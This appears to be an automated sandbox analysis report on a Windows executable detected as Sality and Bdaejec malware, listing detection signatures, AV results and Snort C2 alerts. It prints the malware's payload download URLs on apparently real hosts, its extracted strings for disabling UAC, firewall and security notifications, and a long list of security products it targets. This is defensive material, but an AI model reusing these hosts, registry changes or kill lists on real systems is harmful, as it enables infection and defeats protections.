Windows Analysis Report
#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe

Overview

General Information

Sample name: #U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe
renamed because original name is a hash value
Original sample name: .exe
Analysis ID: 1467984
MD5: 99901509a53dfb9c77c1be4d60763afc
SHA1: 920a3553a48d9d11a3b02b61d50bcd564330e173
SHA256: 181695ba0cdd4904f94b59450af4022fb811da81f386dca90d439f7c66566c0b
Tags: exesality
Infos:

Detection

Bdaejec, Sality
Score: 100
Range: 0 - 100
Whitelisted: false
Confidence: 100%

Signatures

Antivirus / Scanner detection for submitted sample
Antivirus detection for URL or domain
Antivirus detection for dropped file
Detected unpacking (changes PE section rights)
Malicious sample detected (through community Yara rule)
Multi AV Scanner detection for domain / URL
Multi AV Scanner detection for dropped file
Multi AV Scanner detection for submitted file
Snort IDS alert for network traffic
Yara detected Bdaejec
Yara detected Sality
AI detected suspicious sample
Allocates memory in foreign processes
Changes security center settings (notifications, updates, antivirus, firewall)
Contains functionality to inject threads in other processes
Creates a thread in another existing process (thread injection)
Creates autorun.inf (USB autostart)
Deletes keys which are related to windows safe boot (disables safe mode boot)
Disables UAC (registry)
Disables user account control notifications
Infects executable files (exe, dll, sys, html)
Injects code into the Windows Explorer (explorer.exe)
Machine Learning detection for dropped file
Machine Learning detection for sample
May modify the system service descriptor table (often done to hook functions)
Modifies the windows firewall
Modifies the windows firewall notifications settings
PE file contains section with special chars
PE file has a writeable .text section
Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)
Uses known network protocols on non-standard ports
Writes to foreign memory regions
Abnormal high CPU Usage
Checks for available system drives (often done to infect USB drives)
Contains functionality to call native functions
Contains functionality to check if a window is minimized (may be used to check if an application is visible)
Contains functionality to dynamically determine API calls
Contains functionality to open a port and listen for incoming connection (possibly a backdoor)
Contains functionality to read the PEB
Contains functionality which may be used to detect a debugger (GetProcessHeap)
Contains long sleeps (>= 3 min)
Detected TCP or UDP traffic on non-standard ports
Detected potential crypto function
Dropped file seen in connection with other malware
Drops PE files
Enables debug privileges
Entry point lies outside standard sections
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
Found dropped PE file which has not been started or loaded
Found evasive API chain (date check)
Found evasive API chain checking for process token information
Found potential string decryption / allocating functions
IP address seen in connection with other malware
Internet Provider seen in connection with other malware
May infect USB drives
May sleep (evasive loops) to hinder dynamic analysis
Modifies existing windows services
One or more processes crash
PE file contains executable resources (Code or Archives)
PE file contains more sections than normal
PE file contains sections with non-standard names
Potential key logger detected (key state polling based)
Queries disk information (often used to detect virtual machines)
Queries the volume information (name, serial number etc) of a device
Sigma detected: Uncommon Svchost Parent Process
Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript
Uses 32bit PE files
Uses a known web browser user agent for HTTP communication
Uses code obfuscation techniques (call, push, ret)
Uses the system / local time for branch decision (may execute only at specific dates)
Yara signature match

Classification

Name Description Attribution Blogpost URLs Link
Sality F-Secure states that the Sality virus family has been circulating in the wild as early as 2003. Over the years, the malware has been developed and improved with the addition of new features, such as rootkit or backdoor functionality, and so on, keeping it an active and relevant threat despite the relative age of the malware.Modern Sality variants also have the ability to communicate over a peer-to-peer (P2P) network, allowing an attacker to control a botnet of Sality-infected machines. The combined resources of the Sality botnet may also be used by its controller(s) to perform other malicious actions, such as attacking routers.InfectionSality viruses typically infect executable files on local, shared and removable drives. In earlier variants, the Sality virus simply added its own malicious code to the end of the infected (or host) file, a technique known as prepending. The viral code that Sality inserts is polymorphic, a form of complex code that is intended to make analysis more difficult.Earlier Sality variants were regarded as technically sophisticated in that they use an Entry Point Obscuration (EPO) technique to hide their presence on the system. This technique means that the virus inserts a command somewhere in the middle of an infected file's code, so that when the system is reading the file to execute it and comes to the command, it forces the system to 'jump' to the malware's code and execute that instead. This technique was used to make discovery and disinfection of the malicious code harder.PayloadOnce installed on the computer system, Sality viruses usually also execute a malicious payload. The specific actions performed depend on the specific variant in question, but generally Sality viruses will attempt to terminate processes, particularly those related to security programs. The virus may also attempt to open connections to remote sites, download and run additional malicious files, and steal data from the infected machine.
  • Salty Spider
 https://malpedia.caad.fkie.fraunhofer.de/details/win.sality

AV Detection
barindex
Antivirus / Scanner detection for submitted sample
Source: #U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Avira: detected
Antivirus detection for URL or domain
Source: http://www.careerdesk.org/images/xs.jpg Avira URL Cloud: Label: malware
Source: http://www.careerdesk.org/images/xs.jpg?5eb9eca6=-1116481204 Avira URL Cloud: Label: malware
Source: http://arthur.niria.biz/xs.jpg?a8434aa9=-1471984983 Avira URL Cloud: Label: malware
Source: http://arthur.niria.biz/xs.jpg?96faab4=1108191980P Avira URL Cloud: Label: malware
Source: http://arthur.niria.biz/xs.jpg?c1df27dd=251215592 Avira URL Cloud: Label: malware
Source: http://arthur.niria.biz/xs.jpg?6dcc621=690791622 Avira URL Cloud: Label: malware
Source: http://arthur.niria.biz/xs.jpg?60b080=25346560 Avira URL Cloud: Label: malware
Source: http://amsamex.com/xs.jpg?c46dd74c=-702204804f Avira URL Cloud: Label: malware
Source: http://arthur.niria.biz/xs.jpg?96faab4=1108191980 Avira URL Cloud: Label: malware
Source: http://apple-pie.in/images/xs.jpg?5e41367=98833255 Avira URL Cloud: Label: phishing
Source: http://arthur.niria.biz/xs.jpg?2bcaf743=1582807576 Avira URL Cloud: Label: malware
Source: http://arthur.niria.biz/xs.jpg?2f6b0f9=149164779 Avira URL Cloud: Label: malware
Source: http://www.careerdesk.org/images/xs.jpg?1651959c=1123336404 Avira URL Cloud: Label: malware
Source: http://apple-pie.in/images/xs.jpg?5f87de0d=2115991604p Avira URL Cloud: Label: phishing
Source: http://apple-pie.in/images/xs.jpg?c7d4d608=1993464376g Avira URL Cloud: Label: phishing
Source: http://arthur.niria.biz/xs.jpg?67316d6f=898910285 Avira URL Cloud: Label: malware
Source: http://www.careerdesk.org/images/xs.jpg?3c84448=190368984 Avira URL Cloud: Label: malware
Source: http://www.careerdesk.org/images/xs.jpg?9ad6cfae=1905085726 Avira URL Cloud: Label: malware
Source: http://173.193.19.14/logo.gif Avira URL Cloud: Label: malware
Source: http://www.careerdesk.org/images/xs.jpg?5e49a2=6179234 Avira URL Cloud: Label: malware
Source: http://apple-pie.in/images/xs.jpg?58f235fe=2037783532 Avira URL Cloud: Label: phishing
Source: http://arthur.niria.biz/xs.jpg?224a908=215742000 Avira URL Cloud: Label: malware
Source: http://arthur.niria.biz/xs.jpg?11c3299b=-1612941709 Avira URL Cloud: Label: malware
Source: http://arthur.niria.biz/xs.jpg?e8fd1062=1978557004 Avira URL Cloud: Label: malware
Source: http://apple-pie.in/images/xs.jpg?63977b=19580529& Avira URL Cloud: Label: phishing
Source: http://apple-pie.in/images/xs.jpg?70445cbe=-228113746 Avira URL Cloud: Label: phishing
Source: http://www.careerdesk.org/images/xs.jpg?17b6de9=198930248 Avira URL Cloud: Label: malware
Source: http://apple-pie.in/images/xs.jpg?ea3b604f=-1460829892 Avira URL Cloud: Label: phishing
Source: http://arthur.niria.biz/xs.jpg?a62d3528=-1506986712 Avira URL Cloud: Label: malware
Source: http://apple-pie.in/images/xs.jpgs.jpg Avira URL Cloud: Label: phishing
Source: http://apple-pie.in/images/xs.jpg?3e44093b=-116382484 Avira URL Cloud: Label: phishing
Source: http://www.careerdesk.org/images/xs.jpg?8021ab3c=-2145277124Qe Avira URL Cloud: Label: malware
Source: http://www.careerdesk.org/images/xs.jpg?18be425f=-973991176 Avira URL Cloud: Label: malware
Source: http://arthur.niria.biz/xs.jpg?1bf90ddb=938613686 Avira URL Cloud: Label: malware
Source: http://ddos.dnsnb8.net:799/cj//k1.rario Avira URL Cloud: Label: phishing
Source: http://arthur.niria.biz/xs.jpg?60b080=25346560= Avira URL Cloud: Label: malware
Source: http://amsamex.com/xs.jpg?73b8b348=-20599928806 Avira URL Cloud: Label: malware
Source: http://kukutrustnet777888.info/DisableTaskMgrSoftware Avira URL Cloud: Label: phishing
Source: http://arthur.niria.biz/xs.jpg?4fe5ce70=1066875328 Avira URL Cloud: Label: malware
Source: http://althawry.org/images/xs.jpg Avira URL Cloud: Label: malware
Antivirus detection for dropped file
Source: C:\Program Files\7-Zip\Uninstall.exe Avira: detection malicious, Label: W32/Jadtre.B
Source: C:\Users\user\AppData\Local\Temp\YMZwp.exe Avira: detection malicious, Label: TR/Dldr.Small.Z.haljq
Source: C:\Program Files (x86)\AutoIt3\Examples\Helpfile\Extras\MyProg.exe Avira: detection malicious, Label: W32/Jadtre.B
Source: C:\Program Files (x86)\AutoIt3\SciTE\SciTE.exe Avira: detection malicious, Label: W32/Jadtre.B
Multi AV Scanner detection for domain / URL
Source: www.careerdesk.org Virustotal: Detection: 11% Perma Link
Source: ddos.dnsnb8.net Virustotal: Detection: 11% Perma Link
Source: apple-pie.in Virustotal: Detection: 13% Perma Link
Source: arthur.niria.biz Virustotal: Detection: 10% Perma Link
Source: ahmediye.net Virustotal: Detection: 9% Perma Link
Source: althawry.org Virustotal: Detection: 11% Perma Link
Source: amsamex.com Virustotal: Detection: 8% Perma Link
Source: http://www.careerdesk.org/images/xs.jpg Virustotal: Detection: 9% Perma Link
Multi AV Scanner detection for dropped file
Source: C:\Users\user\AppData\Local\Temp\YMZwp.exe ReversingLabs: Detection: 100%
Multi AV Scanner detection for submitted file
Source: #U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe ReversingLabs: Detection: 97%
Source: #U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Virustotal: Detection: 89% Perma Link
AI detected suspicious sample
Source: Submited Sample Integrated Neural Analysis Model: Matched 100.0% probability
Machine Learning detection for dropped file
Source: C:\Program Files\7-Zip\Uninstall.exe Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\YMZwp.exe Joe Sandbox ML: detected
Source: C:\Program Files (x86)\AutoIt3\Examples\Helpfile\Extras\MyProg.exe Joe Sandbox ML: detected
Source: C:\Program Files (x86)\AutoIt3\SciTE\SciTE.exe Joe Sandbox ML: detected
Machine Learning detection for sample
Source: #U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Joe Sandbox ML: detected
Uses 32bit PE files
Source: #U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Static PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE
Source: Binary string: D:\a\_work\e\src\out\Release_x64\initialexe\msedge.exe.pdb source: msedge.exe.6.dr
Source: Binary string: y.pdb source: SearchApp.exe, 0000001F.00000000.1605415996.000001D62E0C2000.00000004.00000001.00020000.00000000.sdmp
Source: Binary string: D:\a\_work\e\src\out\Release_x64\initialexe\msedge.exe.pdbOGP source: msedge.exe.6.dr

Spreading
barindex
Yara detected Sality
Source: Yara match File source: 6.2.#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe.2420000.7.unpack, type: UNPACKEDPE
Source: Yara match File source: 00000006.00000002.3795163173.00000000024A0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: Process Memory Space: #U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe PID: 7248, type: MEMORYSTR
Creates autorun.inf (USB autostart)
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe File created: C:\autorun.inf Jump to behavior
Infects executable files (exe, dll, sys, html)
Source: C:\Users\user\AppData\Local\Temp\YMZwp.exe System file written: C:\Program Files (x86)\AutoIt3\Examples\Helpfile\Extras\MyProg.exe Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\YMZwp.exe System file written: C:\Program Files (x86)\AutoIt3\SciTE\SciTE.exe Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\YMZwp.exe System file written: C:\Program Files\7-Zip\Uninstall.exe Jump to behavior
Checks for available system drives (often done to infect USB drives)
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe File opened: z: Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe File opened: y: Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe File opened: x: Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe File opened: w: Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe File opened: v: Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe File opened: u: Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe File opened: t: Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe File opened: s: Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe File opened: r: Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe File opened: q: Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe File opened: p: Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe File opened: o: Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe File opened: n: Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe File opened: m: Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe File opened: l: Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe File opened: k: Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe File opened: j: Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe File opened: i: Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe File opened: h: Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe File opened: g: Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe File opened: f: Jump to behavior
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe File opened: e: Jump to behavior
Source: C:\Windows\System32\RuntimeBroker.exe File opened: c:
May infect USB drives
Source: #U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe, 00000006.00000002.3872598271.0000000006AA2000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: autorun.inf
Source: #U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe, 00000006.00000002.3795163173.00000000024A0000.00000040.00001000.00020000.00000000.sdmp Binary or memory string: [AutoRun]
Source: #U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe, 00000006.00000002.3795163173.00000000024A0000.00000040.00001000.00020000.00000000.sdmp Binary or memory string: autorun.inf
Source: #U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe, 00000006.00000002.3795163173.00000000024A0000.00000040.00001000.00020000.00000000.sdmp Binary or memory string: _kkiuynbvnbrev406C:\hh8geqpHJTkdns0MCIDRV_VERMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)MPRNtQuerySystemInformationSoftware\Classes\Local Settings\Software\Microsoft\Windows\Shell\MuiCache GlobalUserOfflineSoftware\Microsoft\Windows\CurrentVersion\Internet SettingsSoftware\Microsoft\Windows\CurrentVersionhttp://www.klkjwre9fqwieluoi.info/amsint32.sysGetSystemDirectoryAdrivers\KeServiceDescriptorTable_os%d%dhttp://kukutrustnet777888.info/DisableTaskMgrSoftware\Microsoft\Windows\CurrentVersion\policies\systemEnableLUASoftware\Microsoft\Windows\ShellNoRoam\MUICachemonga_bongapurity_control_90833SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile%s:*:Enabled:ipsecSYSTEM\CurrentControlSet\Services\SharedAccessStart\AuthorizedApplications\ListSOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\AdvancedHidden[AutoRun]
Source: #U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe, 00000006.00000002.3795163173.00000000024A0000.00000040.00001000.00020000.00000000.sdmp Binary or memory string: shell\explore\Commandshell\Autoplay\commandDisableRegistryToolsDAEMON.Simple Poly Engine v1.1a(c) Sector\SvcSOFTWARE\Microsoft\Security CenterAntiVirusOverrideAntiVirusDisableNotifyFirewallDisableNotifyFirewallOverrideUpdatesDisableNotifyUacDisableNotifyAntiSpywareOverrideSYSTEMkukutrusted!.CreateMutexAKERNEL32TEXTUPXCODEGdiPlus.dllDEVICEMBhttp://\Runhttpipfltdrv.syswww.microsoft.com?%x=%d&%x=%dSYSTEM.INIUSER32.DLL.%c%s\\.\amsint32.EXE.SCRSfcIsFileProtectedsfcdrw.VDB.AVCNTDLL.DLLrnd=autorun.infEnableFirewallDoNotAllowExceptionsDisableNotificationsWNetEnumResourceAWNetOpenEnumAWNetCloseEnumADVAPI32.DLLCreateServiceAOpenSCManagerAOpenServiceACloseServiceHandleDeleteServiceControlService__hStartServiceANOTICE__drIPFILTERDRIVERChangeServiceConfigAwin%s.exe%s.exeWININET.DLLInternetOpenAInternetReadFileInternetOpenUrlAInternetCloseHandleAVPAgnitum Client Security ServiceALGAmon monitoraswUpdSvaswMon2aswRdraswSPaswTdiaswFsBlkacssrvAV Engineavast! iAVS4 Control Serviceavast! Antivirusavast! Mail Scanneravast! Web Scanneravast! Asynchronous Virus Monitoravast! Self ProtectionAVG E-mail ScannerAvira AntiVir Premium GuardAvira AntiVir Premium WebGuardAvira AntiVir Premium MailGuardBGLiveSvcBlackICECAISafeccEvtMgrccProxyccSetMgrCOMODO Firewall Pro Sandbox DrivercmdGuardcmdAgentEset ServiceEset HTTP ServerEset Personal FirewallF-Prot Antivirus Update MonitorfsbwsysFSDFWDF-Secure Gatekeeper Handler StarterFSMAGoogle Online ServicesInoRPCInoRTInoTaskISSVCKPF4KLIFLavasoftFirewallLIVESRVMcAfeeFrameworkMcShieldMcTaskManagerMpsSvcnavapsvcNOD32krnNPFMntorNSCServiceOutpost Firewall main moduleOutpostFirewallPAVFIRESPAVFNSVRPavProtPavPrSrvPAVSRVPcCtlComPersonalFirewalPREVSRVProtoPort Firewall servicePSIMSVCRapAppSharedAccessSmcServiceSNDSrvcSPBBCSvcSpIDer FS Monitor for Windows NTSpIDer Guard File System MonitorSPIDERNTSymantec Core LCSymantec Password ValidationSymantec AntiVirus Definition WatcherSavRoamSymantec AntiVirusTmntsrvTmPfwUmxAgentUmxCfgUmxLUUmxPolvsmonVSSERVWebrootDesktopFirewallDataServiceWebrootFirewallwscsvcXCOMMSystem\CurrentControlSet\Control\SafeBoot%d%d.tmpSOFTWARE\Microsoft\Windows NT\CurrentVersion\ProfileList%s\%s%s\Software\Microsoft\Windows\CurrentVersion\Ext\StatsSoftware\Microsoft\Windows\CurrentVersion\Ext\StatsSOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Browser Helper ObjectsKERNEL32.DLLbootshellSYSTEM.INIExplorer.exeAVPM.A2GUARDA2CMD.A2SERVICE.A2FREEAVASTADVCHK.AGB.AKRNL.AHPROCMONSERVER.AIRDEFENSEALERTSVCAVIRAAMON.TROJAN.AVZ.ANTIVIRAPVXDWIN.ARMOR2NET.ASHAVAST.ASHDISP.ASHENHCD.ASHMAISV.ASHPOPWZ.ASHSERV.ASHSIMPL.ASHSKPCK.ASHWEBSV.ASWUPDSV.ASWSCANAVCIMAN.AVCONSOL.AVENGINE.AVESVC.AVEVAL.AVEVL32.AVGAMAVGCC.AVGCHSVX.AVGCSRVX.AVGNSX.AVGCC32.AVGCTRL.AVGEMC.AVGFWSRV.AVGNT.AVCENTERAVGNTMGRAVGSERV.AVGTRAY.AVGUARD.AVGUPSVC.AVGWDSVC.AVINITNT.AVKSERV.AVKSERVICE.AVKWCTL.AVP.AVP32.AVPCC.AVASTAVSERVER.AVSCHED32.AVSYNMGR.AVWUPD32.AVWUPSRV.AVXMONITORAVXQUAR.BDSWITCH.BLACKD.BLACKICE.CAFIX.BITDEFENDERCCEVTMGR.CFP.CFPCONFIG.CCSETMGR.CFIAUDIT.CLAMTRAY.CL
Source: #U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe, 00000006.00000002.3839049764.000000000458B000.00000004.00000010.00020000.00000000.sdmp Binary or memory string: [autorun]
Source: autorun.inf.6.dr Binary or memory string: [AutoRun]
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Code function: 6_2_0042B020 FindNextFileA,FindClose,FindFirstFileA,FindClose, 6_2_0042B020
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Code function: 6_2_0041D290 FindFirstFileA,SendMessageA,SendMessageA,FindNextFileA,FindClose,SendMessageA, 6_2_0041D290
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Code function: 6_2_00433500 FindFirstFileA,FindClose, 6_2_00433500
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Code function: 6_2_004BCF09 __EH_prolog,GetFullPathNameA,lstrcpyn,GetVolumeInformationA,CharUpperA,FindFirstFileA,FindClose,lstrcpy, 6_2_004BCF09
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Code function: 6_2_024257A0 GetTempPathA,lstrlen,lstrcat,lstrlen,lstrcpy,lstrcat,FindFirstFileA,FindNextFileA,lstrcat,lstrlen,lstrlen,lstrcmpiA,lstrcmpiA,Sleep,FindClose,Sleep,RtlExitUserThread, 6_2_024257A0
Source: C:\Users\user\Desktop\#U6587#U4ef6#U7279#U5f81#U6458#U8981#U5217#U8868#U751f#U6210.exe Code function: 6_2_0242BADD Sleep,lstrcat,lstrcpy,CharLowerA,lstrcat,FindFirstFileA,FindNextFileA,Sleep,lstrlen,lstrcat,lstrlen,CharUpperA,lstrlen,lstrcmpiA,lstrcmpiA,lstrcpy,lstrlen,lstrcmpiA,FindClose,Sleep, 6_2_0242BADD
Source: C:\Users\user\AppData\Local\Temp\YMZwp.exe Code function: 9_2_00B329E2 memset,wsprintfA,memset,lstrlen,lstrcpyn,strrchr,lstrcmpiA,lstrlen,memset,memset,FindFirstFileA,memset,FindNextFileA,lstrcmpiA,FindNextFileA,FindClose, 9_2_00B329E2
Source: C:\Users\user\AppData\Local\Temp\YMZwp.exe Code function: 9_2_00B32B8C memset,GetLogicalDriveStringsA,CreateThread,GetDriveTypeA,CreateThread,lstrlen,WaitForMultipleObjects,CreateThread, 9_2_00B32B8C
Source: C:\Users\user\AppData\Local\Temp\YMZwp.exe File opened: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\app1\dc-desktop-app-dropin\ Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\YMZwp.exe File opened: C:\Program Files\Adobe\Acrobat DC\Acrobat\UIThemes\ Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\YMZwp.exe File opened: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\ Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\YMZwp.exe File opened: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\app1\dc-desktop-app-dropin\1.0.0_1.0.0\ Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\YMZwp.exe File opened: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\app1\ Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\YMZwp.exe File opened: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\ Jump to behavior

Networking
barindex
Snort IDS alert for network traffic
Source: Traffic Snort IDS: 2838522 ETPRO TROJAN Backdoor.Win32/Bdaejec.A CnC Domain in DNS Lookup 192.168.2.9:64650 -> 1.1.1.1:53
Source: Traffic Snort IDS: 2807908 ETPRO TROJAN Backdoor.Win32/Bdaejec.A Checkin 192.168.2.9:49706 -> 44.221.84.105:799
Source: Traffic Snort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.9:49707 -> 54.244.188.177:80
Source: Traffic Snort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.9:49710 -> 44.221.84.105:80
Source: Traffic Snort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.9:49711 -> 44.221.84.105:80
Source: Traffic Snort IDS: 2037771 ET TROJAN Possible Compromised Host AnubisNetworks Sinkhole Cookie Value btst 44.221.84.105:80 -> 192.168.2.9:49711
Source: Traffic Snort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.9:49712 -> 78.46.2.155:80
Source: Traffic Snort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.9:49714 -> 37.230.104.89:80
Source: Traffic Snort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.9:49715 -> 54.244.188.177:80
Source: Traffic Snort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.9:49717 -> 44.221.84.105:80
Source: Traffic Snort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.9:49719 -> 44.221.84.105:80
Source: Traffic Snort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.9:49720 -> 78.46.2.155:80
Source: Traffic Snort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.9:49721 -> 37.230.104.89:80
Source: Traffic Snort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.9:49722 -> 54.244.188.177:80
Source: Traffic Snort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.9:49723 -> 44.221.84.105:80
Source: Traffic Snort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.9:49724 -> 44.221.84.105:80
Source: Traffic Snort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.9:49725 -> 78.46.2.155:80
Source: Traffic Snort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.9:49726 -> 37.230.104.89:80
Source: Traffic Snort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.9:49727 -> 54.244.188.177:80
Source: Traffic Snort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.9:49729 -> 44.221.84.105:80
Source: Traffic Snort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.9:49730 -> 44.221.84.105:80
Source: Traffic Snort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.9:49731 -> 78.46.2.155:80
Source: Traffic Snort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.9:49732 -> 37.230.104.89:80
Source: Traffic Snort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.9:49733 -> 54.244.188.177:80
Source: Traffic Snort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.9:49734 -> 44.221.84.105:80
Source: Traffic Snort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.9:49735 -> 44.221.84.105:80
Source: Traffic Snort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.9:49736 -> 78.46.2.155:80
Source: Traffic Snort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.9:49737 -> 37.230.104.89:80
Source: Traffic Snort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.9:49738 -> 54.244.188.177:80
Source: Traffic Snort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.9:49739 -> 44.221.84.105:80
Source: Traffic Snort IDS: 2804830 ETPRO TROJAN Win32.Sality.bh Checkin 2 192.168.2.9:49740 -> 44.221.84.105:80
